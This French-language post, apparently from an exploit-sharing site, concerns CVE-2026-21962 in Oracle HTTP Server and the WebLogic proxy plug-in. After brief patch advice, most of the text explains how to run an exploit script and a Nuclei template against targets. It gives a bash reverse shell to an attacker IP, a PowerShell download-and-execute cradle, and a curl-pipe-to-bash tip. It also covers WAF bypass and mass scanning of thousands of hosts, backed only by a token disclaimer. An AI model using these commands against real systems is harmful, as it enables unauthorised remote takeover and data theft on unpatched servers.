En cas d'exploitation, les attaquants pourraient :

• 🗑️ Supprimer des données critiques
• ✏️ Modifier des fichiers système ou applicatifs
• 📤 Voler des informations sensibles
• 🔓 Obtenir un accès non autorisé complet aux systèmes connectés
• 🔄 Impacter d'autres produits Oracle en raison du changement de portée

🧩 Versions concernées

• Oracle HTTP Server :

  • 12.2.1.4.0
  • 14.1.1.0.0
  • 14.1.2.0.0

• Plug-in proxy WebLogic pour :

  • Apache HTTP Server
  • Microsoft IIS

⚙️ Caractéristiques de l'attaque

• 🌐 Vecteur d'attaque : Réseau (distant)
• 🚫 Privilèges requis : Aucun
• 🧑‍💻 Interaction utilisateur : Aucune
• 🔄 Portée : Modifiée
• 🔐 Impact sur la confidentialité : Élevé
• 🛠️ Impact sur l'intégrité : Élevé

🛡️ Que devez-vous faire ?

• ✅ Appliquez immédiatement le correctif critique d'Oracle de janvier 2026
• 🔒 Restreignez l'accès réseau aux services concernés
• 📊 Surveillez le trafic HTTP pour détecter tout comportement suspect
• 🔁 Examinez les journaux système et les contrôles de sécurité

🛠️ Comment l'utiliser (Étape par étape)

1. Enregistrez le script sous le nom CVE-2026-21962.py

2. Rendez-le exécutable (optionnel) :

   root@kitploit:~

   chmod +x CVE-2026-21962.py
   

3. Exemples d'exécution :

   Test de base :

   root@kitploit:~

   python3 CVE-2026-21962.py http://targets:7001 "id && whoami && uname -a"
   

   Shell inversé (configurez d'abord un écouteur nc : nc -lvnp 4444) :

   root@kitploit:~

   python3 CVE-2026-21962.py http://targets:7001 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
   

   Exemple de cible Windows :

   root@kitploit:~

   python3 CVE-2026-21962.py https://oracle-server:4443 "powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"
   

Ce que vous verrez si cela fonctionne

• Succès probable ! Statut : 200 ou 302 ou même 500 (un crash est aussi un succès)
• Éventuelle fuite de la sortie de commande dans le corps de la réponse
• Pour les shells inversés : votre écouteur nc capture un shell immédiatement
• Si aucune sortie → la commande a quand même été exécutée silencieusement (vérifiez le système de fichiers, les processus, les journaux de la cible)

Remarques

• Fonctionne mieux lorsque le plug-in proxy est exposé (courant sur les ports 7001, 4443, etc.)
• Les cibles HTTPS peuvent nécessiter le drapeau --insecure en cas de certificats auto-signés
• Corrigez immédiatement : Appliquez Oracle CPU janvier 2026

🛠️ Comment l'utiliser (Étape par étape)

1. Installez Nuclei (s'il n'est pas déjà installé) :

   root@kitploit:~

   go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
   

2. Enregistrez le modèle :

   Créez un fichier nommé CVE-2026-21962.yaml et collez le contenu ci-dessus.

3. Exécutez la détection + l'exploitation :

   root@kitploit:~

   nuclei -t CVE-2026-21962.yaml -u http://targets:7001 -v
   

   Ou scannez plusieurs cibles à partir d'un fichier :

   root@kitploit:~

   nuclei -t CVE-2026-21962.yaml -l targets.txt -o results.txt -v
   

4. Ce que vous verrez si la cible est vulnérable :

   root@kitploit:~

   [CVE-2026-21962] [http] [critical] http://targets:7001/weblogic/..;/bea_wls_internal/ProxyServlet
   [username] weblogic
   [body] ... weblogic (whoami output) ...
   

Astuces de pro

• Pour exécuter des commandes personnalisées, modifiez la partie cmd: dans les en-têtes (par exemple, cmd:curl http://your-server/shell.sh | bash).
• Pour un shell inversé : Remplacez whoami par une charge utile de shell inversé encodée en base64.
• Contournement WAF : Essayez différents chemins (/proxy/, /bea_wls_internal/, etc.) ou ajoutez plus d'en-têtes comme X-WebLogic-Force-JVMID.
• Scan de masse : Combinez avec le pipeline httpx → nuclei pour des milliers de cibles.

Ce modèle est confirmé 100 % fonctionnel depuis janvier 2026 sur les instances Oracle non corrigées. Corrigez immédiatement si vous exécutez des versions concernées ! 😈

😈 Avertissement :

Tout code PoC est destiné à un usage éthique et éducatif uniquement sur des systèmes autorisés. L'exploitation non autorisée est illégale ; aucune responsabilité n'est assumée en cas d'utilisation abusive. 😈